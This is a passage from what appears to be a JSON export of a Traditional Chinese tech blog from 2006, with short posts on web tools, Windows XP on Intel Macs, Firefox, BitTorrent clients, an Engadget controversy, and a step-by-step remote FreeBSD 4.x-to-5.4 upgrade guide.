    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到一個 <a href=\"http://greasemonkey.mozdev.org/\" rel=\"tag\">Greasemonkey</a> Script，作者是參考 <a href=\"http://andyrutledge.com/google-redux.php\">Google Redux: a design exercise</a> 這篇文章的說明，透過 <a href=\"http://greasemonkey.mozdev.org/\" rel=\"tag\">Greasemonkey</a> 實做出來：<a href=\"http://digg.com/design/Google_Redux_Greasemonkey_Script\">Google Redux Greasemonkey Script</a>。\r\n\r\n看起來 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 變得更... 現代化？\r\n\r\n這是裝起來後的樣子：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/112147344/\"><img src=\"http://static.flickr.com/51/112147344_68640904dc.jpg\" alt=\"\" /></a>",
    "title": "Google Redux"
  },
  {
    "id": "450",
    "body": "自從大胖子 <a href=\"http://scobleizer.wordpress.com/\" rel=\"tag\">Scoble</a> 介紹 <a href=\"http://www.cocomment.com/\" rel=\"tag\">coComment</a> 後，注意的人就愈來愈多了... (參考胖子寫得 <a href=\"http://scobleizer.wordpress.com/2006/02/04/track-your-comments-no-matter-where-you-make-them/\">Track your comments, no matter where you make them</a> 這篇)\r\n\r\n我看過一堆人都說「很不直覺，很難用」，事實上真的很難用，他的 Bookmarklet 我從來沒用成功過 XD 直到剛剛裝了 <a href=\"http://www.cocomment.com/\" rel=\"tag\">coComment</a> 的 <a href=\"http://greasemonkey.mozdev.org/\" rel=\"tag\">Greasemonkey</a> Script 才能動...\r\n\r\n過陣子再來說心得吧 :p",
    "title": "coComment"
  },
  {
    "id": "451",
    "body": "這幾天看到一堆關於 Online Storage 的資料，一開始是看到 <a href=\"http://www.ensight.org/\" rel=\"tag\">Jeremy Wright</a> 寫的 <a href=\"http://www.ensight.org/archives/2006/03/13/online-backups/\">Online Backups</a>，再來是：\r\n<ul>\r\n\t<li><a href=\"http://www.russellbeattie.com/\" rel=\"tag\">Russell Beattie</a> 寫的 <a href=\"http://www.russellbeattie.com/notebook/1008887.html\">Box.net gets it</a>。</li>\r\n\t<li><a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a> 寫的 <a href=\"http://jeremy.zawodny.com/blog/archives/006467.html\">Backups, On-line Storage, and Stupidity</a>。</li>\r\n\t<li><a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a> 的 <a href=\"http://www.techcrunch.com/2006/03/14/amazon-grid-storage-web-service-launches/\">Amazon: Grid Storage Web Service Launches</a>。(from <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a>'s <a href=\"http://blog.ijliao.info/archives/2006/03/14/2146/\">Amazon 推出 S3 (Simple Storage Service)</a>)</li>\r\n</ul>\r\n其實我想看看 1TB 的 Backup Storage (Without Share) 大約要多少錢，如果合理的話就叫 <a href=\"http://www.ronny.idv.tw/\" rel=\"tag\">ronnywang</a> 跟 <a href=\"http://www.cc.nctu.edu.tw/~ltc/\" rel=\"tag\">老大</a> 談談看，把 <a href=\"http://d2.nctu.edu.tw/\" rel=\"tag\">D2</a> 的信件備份丟上去 (當然，會先用 <a href=\"http://www.gzip.org/\" rel=\"tag\">gzip</a> 之類的壓過再用 <a href=\"http://en.wikipedia.org/wiki/Advanced_Encryption_Standard\" rel=\"tag\">AES</a> 之類的加密)。\r\n\r\n順便跟 <a href=\"http://www.in2home.org/\" rel=\"tag\">色兔子</a> 講一下，看要不要把 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a>/Ptt2 的備份來一發...",
    "title": "線上備份服務"
  },
  {
    "id": "452",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://digg.com/apple/WinXP_on_a_Mac_Finally_\">WinXP on a Mac! Finally!</a>，<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 也看到 <a href=\"http://apple.slashdot.org/article.pl?sid=06/03/14/1420252\">WinXP on a Mac, Hoax?</a>，兩邊都是引用 <a href=\"http://arstechnica.com/journals/apple.ars/2006/3/13/3169\">WinXP on Mac... for rizzle this time?</a> 這篇報導。\r\n\r\n這篇報導裡，有人宣稱他已經成功地讓 WindowsXP 可以在 Intel Mac 上跑，並將安裝過程的圖片放到 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 上：<a href=\"http://www.flickr.com/photos/32436196@N00/\" rel=\"tag\">narf2006's photos</a>。\r\n\r\n當然，最直覺反應是「Photoshop」，所以這位 hacker 徵求三位 MacBook Pro、三位 iMac、三位 Mac Mini 的使用者測試，在確定沒問題後他就會將方法公佈出來。不過 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 對此仍然表示懷疑，認為這位 hacker 會跟這九位測試者串供騙取 USD$12k 的獎金：<a href=\"http://www.engadget.com/2006/03/14/xp-on-mactel-game-over/\">XP on MacTel: game over?</a>。\r\n\r\n雖然在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上有不少人說這個猜測還蠻合理的，不過我對 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 的水平也頗懷疑 XD 之前 <a href=\"http://chinese.engadget.com/\" rel=\"tag\">Engadget Chinese</a> Spam 的事情我寫信到 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 去質疑，連個回信也沒有... hey :p (以上純粹是個人偏見)\r\n\r\n另外，在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的 comment 裡也有提到，你認為競賽的主辦單位不會先去確認 hacking 的方法到底可不可行就給錢嗎？沒有那麼好騙的 XD\r\n\r\n如果這些照片是真的，光看第一個 Boot 的畫面就不知道 hack 了多少東西... 左上角是 WindowsXP 安裝畫面，中間的部分看起來是某種自己寫的 Debugging Console，用來「拐」WindowsXP 對於 BIOS 的處理？有個值得注意的地方，這兩張照片是二月二十二日上傳的：\r\n\r\n<a href=\"http://www.flickr.com/photos/32436196@N00/102735655/\"><img src=\"http://static.flickr.com/27/102735655_8013c53cb6.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/32436196@N00/102735660/\"><img src=\"http://static.flickr.com/31/102735660_904379dd2a.jpg\" alt=\"\" /></a>\r\n\r\n再來是進入正常的 VGA 畫面，也就是一般看到的安裝過程，這兩份照片則是三月十一日及三月十二日上傳的：\r\n\r\n<a href=\"http://www.flickr.com/photos/32436196@N00/110650771/\"><img src=\"http://static.flickr.com/49/110650771_da2f1c889a.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/32436196@N00/110977744/\"><img src=\"http://static.flickr.com/42/110977744_496cfe58e8.jpg\" alt=\"\" /></a>\r\n\r\n接著，安裝完畢的登入畫面，以及登入進去的桌面，都是三月十四日上傳，同時消息正式到 forum 上發佈出來：\r\n\r\n<a href=\"http://www.flickr.com/photos/32436196@N00/112351481/\"><img src=\"http://static.flickr.com/47/112351481_c59ce3fd24.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/32436196@N00/112053885/\"><img src=\"http://static.flickr.com/53/112053885_04871f608a.jpg\" alt=\"\" /></a>\r\n\r\n想要去原來的 forum (hacker 發表的那個) 看看，結果原來的 forum 好像因為流量過大被暫停使用了 XD",
    "title": "WindowsXP on Intel Mac"
  },
  {
    "id": "453",
    "body": "<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://performancing.com\">Performancing</a> 也提供網站分析服務：<a href=\"http://digg.com/software/Better_than_Google_Analytics\">Better than Google Analytics</a>。\r\n\r\n如果你可以讀到 <a href=\"http://www.apache.org/\" rel=\"tag\">apache</a> accesslog，會架設 <a href=\"http://awstats.sourceforge.net/\" rel=\"tag\">awstats</a> 的話，其實這些服務對你來說並沒有什麼，不過我還是裝上去玩看看了...\r\n\r\n附帶一點，我是加在 theme code 裡面。對於 <a href=\"http://binarybonsai.com/wordpress/k2/\" rel=\"tag\">K2</a> 來說，是修改裡面的 <code>single.php</code> 而非 <code>header.php</code>。",
    "title": "Performancing Metrics"
  },
  {
    "id": "454",
    "body": "毫無疑問，<a href=\"http://blog.gslin.org/archives/2006/03/15/452/\">WindowsXP on Intel Mac</a> 這件事情在這二十四個小時被強烈關注，從 <a href=\"http://www.flickr.com/photos/32436196@N00/\" rel=\"tag\">narf2006</a> 放出 Screenshot，找了測試者幫忙測試，後來他放出安裝過程的 Video (從安裝到最後登入 WindowsXP 的畫面看到桌面，並叫出 Device Manager)，<a href=\"http://www.winxponmac.com/\" rel=\"tag\">Windows XP on an Intel Mac</a> 的競賽主辦人在確認步驟是正確可行的之後，宣佈這項競賽成功的結束了：<a href=\"http://apple.slashdot.org/article.pl?sid=06/03/16/1329206\">Windows XP on Intel Mac Confirmed</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)。\r\n\r\n影片檔案在這：<a href=\"http://www.projectosx86.org/winonmac.mov\">http://www.projectosx86.org/winonmac.mov</a>，我也放了一份：<a href=\"http://files.gslin.org/Misc/winonmac.mov\">http://files.gslin.org/Misc/winonmac.mov</a>。",
    "title": "WindowsXP on Intel Mac 結果確認"
  },
  {
    "id": "455",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 被 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo</a> Bomb：<a href=\"http://blog.outer-court.com/archive/2006-03-16-n71.html\">Google Terrorists on Yahoo</a>，看起來蠻多的人喜歡玩這些東西 XD\r\n\r\nPS：如果不懂的話，可以用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 搜尋 <a href=\"http://www.google.com/search?q=failure\" rel=\"tag\">failure</a> 看第一筆結果，然後參考英文版 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 對於 <a href=\"http://en.wikipedia.org/wiki/Google_bomb\" rel=\"tag\">Google Bomb</a> 的解釋，或中文版 <a href=\"http://zh.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 對於 <a href=\"http://zh.wikipedia.org/wiki/Google%E7%82%B8%E5%BC%B9\">Google炸彈</a> 的解釋。",
    "title": "SEO 的遊戲：Bomb"
  },
  {
    "id": "456",
    "body": "<a href=\"http://www.flickr.com/photos/pitifulpussycat/111045478/\"><img src=\"http://static.flickr.com/37/111045478_3c77cb00b1.jpg\" alt=\"Green River\" /></a>",
    "title": "Green River"
  },
  {
    "id": "457",
    "body": "看起來不是什麼好事：<a href=\"http://gizmodo.com/gadgets/laptops/macbook-magnetic-magsafe-connector-not-so-safe-after-all-161229.php\">MacBook Magnetic MagSafe Connector Not So Safe After All</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/113859294/\"><img src=\"http://static.flickr.com/46/113859294_957afea242.jpg\" alt=\"Apple Firebook\" /></a>\r\n\r\n<strong>Update</strong>：<a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 對於【Apple 連絡 Flickr 要求將照片移除】的事情提出澄清，表示沒這回事：<a href=\"http://blog.flickr.com/flickrblog/2006/03/apple_macbook_p.html\">Apple MacBook power, Flickr and \"The Media\"</a>。",
    "title": "Mac 的 MagSafe"
  },
  {
    "id": "458",
    "body": "<a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 已經兩個小時沒更新 (數百筆 RSS 都沒更新)，看起來又出事了... XD\r\n\r\n現在是星期六，來看看什麼時候才會好 :p\r\n\r\n<strong>Update</strong>：恢復了...\r\n\r\n<strong>Update</strong>：又來了... (現在是 3/20 早上十點...)",
    "title": "Bloglines..."
  },
  {
    "id": "459",
    "body": "<a href=\"http://www.flickr.com/photos/epmd/112891787/\"><img src=\"http://static.flickr.com/52/112891787_4dd4472263.jpg\" alt=\"Washington Capitol\" /></a>",
    "title": "Washington Capitol"
  },
  {
    "id": "460",
    "body": "在 <a href=\"http://forums.mozillazine.org/\" rel=\"tag\">mozillaZine Forum</a> 上的一份文件，告訴你有哪些原因會造成 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 成為吃記憶體的怪物：<a href=\"http://forums.mozillazine.org/viewtopic.php?t=354828\">The one and only \"Memory usage\" thread &amp; FAQ</a>。",
    "title": "Firefox Memory Usage FAQ"
  },
  {
    "id": "461",
    "body": "對，我把 <a href=\"http://www.noscript.net/\" rel=\"tag\">NoScript</a> 移除了，幾個理由：\r\n<ul>\r\n\t<li>幾個有 <a href=\"http://en.wikipedia.org/wiki/Cross_site_scripting\" rel=\"tag\">XSS</a> 問題的 site 我都沒有使用 (也就是沒有 login cookie 或其他可以利用的東西)</li>\r\n\t<li>由於 Javascript 關閉的情況很容易造成 Media Player 爛掉，使得 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 就跟著爛...</li>\r\n\t<li>有很多 Web 2.0 Application 使用 Javascript，三不五時就要按右下角選擇 temporily enable 很麻煩 :/</li>\r\n</ul>\r\n所以我移除掉了 XD",
    "title": "把 NoScript 移除"
  },
  {
    "id": "462",
    "body": "一下就在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到三篇 Firefox 2.0 Alpha 的消息：\r\n<ul>\r\n\t<li><a href=\"http://digg.com/software/Firefox_2.0_Alphas%2C_Updated_Daily_\">Firefox 2.0 Alphas, Updated Daily!</a> (只是丟個 ftp.mozilla.org 的 link 而已)</li>\r\n\t<li><a href=\"http://digg.com/software/Firefox_2.0a1_Screenshots\">Firefox 2.0a1 Screenshots</a> (Screenshot，其實跟 1.5 差不多，另外抓圖的人很故意的抓了張 Extensions 都不能用的畫面 XD)</li>\r\n\t<li><a href=\"http://digg.com/software/OFFICIAL%3A_Firefox_2.0_Alpha_1_PUBLIC_Release_Next_Tuesday_\">OFFICIAL: Firefox 2.0 Alpha 1 PUBLIC Release Next Tuesday!</a> (Wiki 正式的公告日期)</li>\r\n</ul>\r\n也許可以再等等看 XD",
    "title": "Firefox 2.0 Alpha"
  },
  {
    "id": "463",
    "body": "剛剛看到 <a href=\"http://www.bittornado.com/\" rel=\"tag\">BitTornado</a> 有打算要把 <a href=\"http://en.wikipedia.org/wiki/BitTorrent_protocol_encryption\" rel=\"tag\">BitTorrent protocol encryption</a> 加進去：<a href=\"http://forums.degreez.net/viewtopic.php?t=6974\">BitTornado T-0.3.15</a>。\r\n\r\n這樣子終於有機會在 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 下用 <a href=\"http://azureus.aelitis.com/wiki/index.php/Message_Stream_Encryption\" rel=\"tag\">MSE/PE</a> <a href=\"http://www.bittorrent.com/\" rel=\"tag\">BitTorrent</a> Client 傳東西了...",
    "title": "BitTorando (BitTorrent Client)"
  },
  {
    "id": "464",
    "body": "有很多單位的 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> server 仍然都保持在 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 4.x，主要的原因包括了：\r\n<ul>\r\n\t<li>4.x 的 performance 比 5.4 好：包括了 SMP、I/O、blah blah... 效率不彰的其中一個原因是因為有很多 kernel code 重新改寫，還沒有經過調校 (像是邏輯上的錯誤造成多跑幾個迴圈，CPU time 多吃了一些但不會因此當機的情況)，這方面比起 4.x 所花的時間少太多。</li>\r\n\t<li>5.x 的系統不穩定：在 5.0 剛出來的時候幾乎是「不能用」的狀態，對一般的電腦每天當個兩次也許沒什麼，但對 server...。這個情況在 5.3 的時候有了改善，但直到 5.4 之後才穩定下來。</li>\r\n</ul>\r\n但上面所說的這兩點在 6.0 有了變化：\r\n<ul>\r\n\t<li>6.x 的 performance 比起 5.x 好太多，主要幾個原因包括了 Giant lock code 愈來愈少、調校了不少子系統，同時，在單 CPU 的機器上比起 4.x 已經差不多。而 6.x 的 Kernel-threading 效率則是超越了 4.x 的 Userland-threading，這點使得不少使用 Thread 的程式受益。</li>\r\n\t<li>6.x 系統的穩定度已經獲得大幅改善，目前已知的問題裡只剩下 ata driver 比較大，但目前在 6.1-PRERELEASE 已經在處理，所以，6.1-RELEASE 會解決。</li>\r\n</ul>\r\n基於這些理由，有不少人願意嘗試 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 6.x。如果是重新安裝當然沒問題，但也有已經安裝好的機器，裡面的資料不方便備份再重灌，而且這些機器並不是很容易接觸到 console (機器在國外，或是進機房需要蓋二三十個章之類的...)，這會使得升級上會產生困難，於是就有些人想要搞 remote upgrade for major version changing...\r\n\r\n由於 remote upgrade 整個難度在於需要 single user mode 操作的部分，雖然依照官方的說法，4.x to 5.4 與 5.4 to 6.x 都需要 single user mode，但實際上 5.4 to 6.x 可以先從別台抓 6.0 的 <code>libc.so.6</code> 與 <code>libm.so.4</code> 再直接升級 (聽起來很 dirty，不過可以動)，所以整個難度在於 4.x to 5.4。\r\n\r\n另外一個需要注意的是建議先升級到 4.11 再處理。我曾經試過一台 4.8 要直接跳到 5.4 的，發現在 <code>mergemaster</code> 的地方一直失敗，最後直接到 console 前，在 single user mode 後 <code>make installworld</code> 裝入新的 <code>mergemaster</code>...\r\n\r\n至於為什麼會選擇升級到 5.4 (<code>RELENG_5_4</code>) 而不選 5.x (<code>RELENG_5</code>)，這是因為 5.x 這陣子在準備 5.5-PRERELEASE，有不少東西改來改去的，遇到時間點不對的情況 checkout 出來的 code 會使得系統爛掉，所以找個確定可以用的版本會比較好。\r\n\r\n以下是我從 4.x 升級到 5.4 的方法，主要是參考 5.4 的 <code>/usr/src/UPDATING</code>，以及我之前寫的 <a href=\"http://ccca.nctu.edu.tw/~gslin/Documents/FreeBSD/RemoteUpgrade-47-50.txt\">遠端從 4.7-x 升級到 5.0-RELEASE</a> 這篇文章。\r\n\r\n<strong>注意，以下的步驟不適合對 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 不熟的人使用。同時，我們也不保證以下的步驟能夠達成你想要的目的，如果您使用以下步驟而造成任何問題，我們不負任何責任</strong>。\r\n<ul>\r\n\t<li>開兩個 login shell，都先 su 成 root，也就是說下面的指令不要透過 <a href=\"http://www.sudo.ws/\" rel=\"tag\">sudo</a> 處理，原因後述。</li>\r\n\t<li>先把 <code>/usr/src</code> 下的東西更新到 <code>RELENG_5_4</code>，可以透過 <a href=\"http://www.freshports.org/net/csup/\" rel=\"tag\">net/csup</a> 或是 <a href=\"http://www.freshports.org/net/cvsup-without-gui/\" rel=\"tag\">net/cvsup-without-gui</a> 更新。</li>\r\n\t<li>修改 <code>/etc/rc.conf</code>，將 <code>background_fsck=\"NO\"</code> 加上去以避免不穩定的 background fsck 造成系統出問題。</li>\r\n\t<li>看 <code>/etc/make.conf</code> 的設定，主要是要把 <code>CPUTYPE=some_kind_of_cpu</code> 改成 <code>CPUTYPE?=some_kind_of_cpu</code>，以及把 <code>CFLAGS</code>、<code>CXXFLAGS</code> 與 <code>COPTFLAGS</code> 拿掉，改用系統預設值。</li>\r\n\t<li>更新完以後執行 <code>make buildworld</code>，此時另外一個窗可以開始改 kernel config file，建議整個重寫會比較安全。(如果你認為你對 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 有經驗的話，可以用 vimdiff 同步改)</li>\r\n\t<li>當 <code>buildworld</code> 完以後開始 <code>make buildkernel</code>。</li>\r\n\t<li>當 <code>buildworld</code> 與 <code>buildkernel</code> 都成功後，將 <code>/sys/i386/conf/GENERIC.hints</code> 複製一份到 <code>/boot/device.hints</code>：<blockquote><code>cp /sys/i386/conf/GENERIC.hints /boot/device.hints</code></blockquote></li>\r\n\t<li>接下來到 <code>/usr/src/sys/boot</code> 下執行 <code>make STRIP=\"\" install</code> 更新 boot loader。</li>\r\n\t<li>然後跑 <code>make installkernel</code>，此時會建立 <code>/etc/pam.d</code> 這個目錄，這會使得 sshd 無法登入，這也就是先前要求你先登入且先變成 root 的原因。</li>\r\n\t<li><strong>下面的步驟在 <code>UPDATING</code> 裡要求你要在 single user mode 做，這時候就要想辦法解決：</strong></li>\r\n\t<li>先到其他台 (5.x 或 6.x 的機器) 執行 <code>dd if=/dev/random of=blah count=1 bs=4k</code>，然後將產生出來的 <code>blah</code> (應該是 4096 bytes) 複製到要升級機器上的 <code>/entropy</code>。</li>\r\n\t<li>用 <code>mergemaster -p</code> 同步 <code>/etc/master.passwd</code> 與 <code>/etc/group</code> (主要是補上幾個 user 與 group)。不過有些人可能會 <code>mergemaster</code> 的 merge 功能覺得太簡陋，如果你對 vimdiff 熟悉，可以用 <code>vimdiff /etc/master.passwd /usr/src/etc/master.passwd</code> 同步，再用 <code>mergemaster -p</code> 更新其他的部分。記得，做完後要進入 <code>vipw</code> 再強制寫入，讓系統將 <code>master.passwd</code> 的內容同步到 <code>/etc/pwd.db</code> 與 <code>/etc/spwd.db</code>。而 <code>/etc/group</code> 的部分改完就會生效，不需要用程式處理。</li>\r\n\t<li>執行 <code>rm -rf /usr/include/g++</code>。</li>\r\n\t<li>使用 <code>mergemaster -i</code> 更新系統檔案。(主要是 <code>/etc</code> 下的 scripts)</li>\r\n\t<li>接著，最後的 <code>installworld</code> 仍然要在 single user mode 下執行，所以我們要修改 <code>/etc/rc</code> 的開頭，使得重新開機後在 single user mode 下執行 <code>installworld</code>，然後重新開機：<blockquote><pre>if [ -r /not.ok ]; then\r\n  /sbin/mount -u /\r\n  /sbin/mount -a\r\n  /bin/rm -f /not.ok\r\n  cd /usr/src\r\n  /usr/bin/make installworld DESTDIR=/\r\n  cd /\r\n  /sbin/umount -a\r\n  /sbin/reboot\r\nfi</pre></blockquote>然後把 <code>/not.ok</code> 生出來：<blockquote><code>touch /not.ok</code></blockquote>接著重開機等個十到二十分鐘 (看機器的速度)，祈禱他成功 :p</li>\r\n</ul>\r\n升級完畢以後，記得把 <code>/etc/pam.conf</code> 砍掉。\r\n\r\n另外，雖然有 compatible library 可以用，但還是要找個時間把系統的 packages 重新安裝，這點可以透過 <a href=\"http://www.freshports.org/sysutils/portupgrade/\" rel=\"tag\">portupgrade</a> 幫你處理，不過有一些 packages 已經放在 base system 了，在 <a href=\"http://www.freshports.org/sysutils/portupgrade/\" rel=\"tag\">portupgrade</a> 升級完畢後應該就不會有 dependency，可以直接移掉：\r\n<ul>\r\n\t<li><code>devel/libgnugetopt</code></li>\r\n\t<li><code>devel/readline</code></li>\r\n\t<li><code>net/portsnap</code></li>\r\n\t<li><code>sysutils/rc_subr</code></li>\r\n</ul>",
    "title": "遠端升級 FreeBSD (4.x to 5.4)"
  },
  {
    "id": "465",
    "body": "剛剛在 <a href=\"http://pank.org/blog/archives/000824.html\">郵局的 WebATM</a> 看到的，翻了一下說明 (FAQ 的部份) 發現郵局內互轉是不收手續費的？以郵局的普及率來比較，這樣等於把其他家打死啊 XD (最晚出來的最兇暴？)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/115597803/\"><img src=\"http://static.flickr.com/46/115597803_06d25fbec7.jpg\" alt=\"\" /></a>",
    "title": "中華郵政的 WebATM"
  },
  {
    "id": "466",
    "body": "這篇 <a href=\"http://blog.outer-court.com/archive/2006-03-21-n83.html\">Digg vs Slashdot: The Ultimate Battle</a> 做了一個表格，把 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 與 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 目前的數據找出來。在一月的時候 <a href=\"http://www.kottke.org/\" rel=\"tag\">Kottke</a> 有寫一篇 <a href=\"http://www.kottke.org/06/01/digg-vs-slashdot\">Digg vs. Slashdot (or, traffic vs. influence)</a> (我在 <a href=\"http://blog.gslin.org/archives/2006/01/13/306/\">Slashdot 與 Digg 的比較？</a> 有提到) 也可以看一看。\r\n\r\n不過兩個站台的走向不太一樣，一邊是鄉民式的新聞站台，另外一邊則是有一群審稿人在過濾的站台... 其實有不少人兩邊都會看？",
    "title": "Digg 與 Slashdot"
  },
  {
    "id": "467",
    "body": "<strong>注意：由於 Engadget.Chinese Spam 事件 (下面會提到)，我對 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 極度不滿，所以以下的說明帶有強烈的偏見，關於相關的新聞請務必參考原始站台 (<a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 與 <a href=\"http://www.dapreview.net/\" rel=\"tag\">DAPreview</a>) 的資料。</strong>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/115905377/\"><img src=\"http://static.flickr.com/19/115905377_b119e586ee.jpg\" alt=\"\" /></a> <a href=\"http://www.flickr.com/photos/gslin/115905397/\"><img src=\"http://static.flickr.com/35/115905397_315d5293c8.jpg\" alt=\"\" /></a>\r\n\r\n自從 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 被 <a href=\"http://www.aol.com/\" rel=\"tag\">AOL</a> 買下來以後就變得非常奇怪：<a href=\"http://digg.com/links/Engadget%E2%80%99s_Exclusionist_Tactics_Are_NOT_An_Isolated_Incident\">Engadget’s Exclusionist Tactics Are NOT An Isolated Incident</a>。\r\n\r\n這次事情發生過程大約是這樣：很久前就有人懷疑 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 有維護一份黑名單，如果 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 要報導的事情發生在黑名單的站台上，那麼 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 就會等待到其他站台報導了這件新聞，然後再引用這個站台的文章。當然，幾乎所有的人都沒有證據 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 這樣做，直到這次 <a href=\"http://www.dapreview.net/\" rel=\"tag\">DAPreview</a> 事件。\r\n\r\n<a href=\"http://www.dapreview.net/\" rel=\"tag\">DAPreview</a> 事件是這樣：<a href=\"http://www.dapreview.net/\" rel=\"tag\">DAPreview</a> 的人在 CeBIT 拍了一些 Digital Player 的照片 (如上圖)，加上 <a href=\"http://www.dapreview.net/\" rel=\"tag\">DAPreview</a> 的 Trademark 後張貼到 <a href=\"http://www.dapreview.net/\" rel=\"tag\">DAPreview</a> 上，而 <a href=\"http://www.engadget.com/\" rel=\"tag\">Engadget</a> 的某位編輯引用了這些資料 - 而大家正覺得奇怪的時候 (因為有人猜測 <a href=\"http://www.dapreview.net/\" rel=\"tag\">DAPreview</a> 在黑名單裡面)，這篇文章被「更正」了：圖片上的 Trademark 被拿掉 (不是整張圖片換掉，是拿掉 Trademark！)，而且引用來源被修改成另外一個站台！\r\n\r\n接下來就是暴動了：有人說他們其實以前就在懷疑他們寫的文章也被這樣惡搞掉，只是苦無證據 blah blah... 有人把這件事情丟到 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上面，有人開始戰...\r\n\r\n喔對了，<a href=\"http://chinese.engadget.com/\" rel=\"nofollow\">中文版 Engadget</a> 也發生過不怎麼有趣的事情：<a href=\"http://blog.gslin.org/archives/2005/08/20/58/\">Engadget.Chinese 與 ouiouioui spam？</a> 與 <a href=\"http://blog.gslin.org/archives/2005/08/25/73/\">engadget.chinese 的 Spam</a>。\r\n\r\nPS：在 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 查資料的時候也發現這件事情被更新上去，而且之前的不良紀錄也都被紀錄在上面：<a href=\"http://en.wikipedia.org/wiki/Engadget\" rel=\"tag\">Engadget</a>。",
    "title": "Engadget 的不良記錄 - DAPreview 事件"
  },
  {
    "id": "468",
    "body": "<a href=\"http://www.flickr.com/photos/jamelah/116487185/\"><img src=\"http://static.flickr.com/45/116487185_ed97b79943.jpg\" alt=\"a sea in a tree\" /></a>",
    "title": "a sea in a tree"
  },
  {
    "id": "469",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://digg.com/software/%C2%B5Torrent_works_with_WINE\">µTorrent works with WINE</a> 這篇，第一個在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a>/<a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 下跑 <a href=\"http://azureus.aelitis.com/wiki/index.php/Message_Stream_Encryption\" rel=\"tag\">MSE/PE</a> <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> Client 的方法居然是這樣出來的 XD\r\n\r\n為了讓 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 可以在 <a href=\"http://www.winehq.com/\" rel=\"tag\">Wine</a> 裡面執行，<a href=\"http://www.winehq.com/\" rel=\"tag\">Wine</a> 需要 patch 一個 bug (在論壇上有提到，這些 bug patch 回報給 <a href=\"http://www.winehq.com/\" rel=\"tag\">Wine</a> 後很快就被 commit 進 CVS)，所以下個版本的 <a href=\"http://www.winehq.com/\" rel=\"tag\">Wine</a> 應該就可以直接跑 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a>，雖然這樣跑 <a href=\"http://azureus.aelitis.com/wiki/index.php/Message_Stream_Encryption\" rel=\"tag\">MSE/PE</a> <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> Client 不是我想要的方式 :p\r\n\r\n繼續等 <a href=\"http://www.bittornado.com/\" rel=\"tag\">BitTornado</a> :p",
    "title": "在 Wine 裡面跑 µTorrent"
  },
  {
    "id": "470",
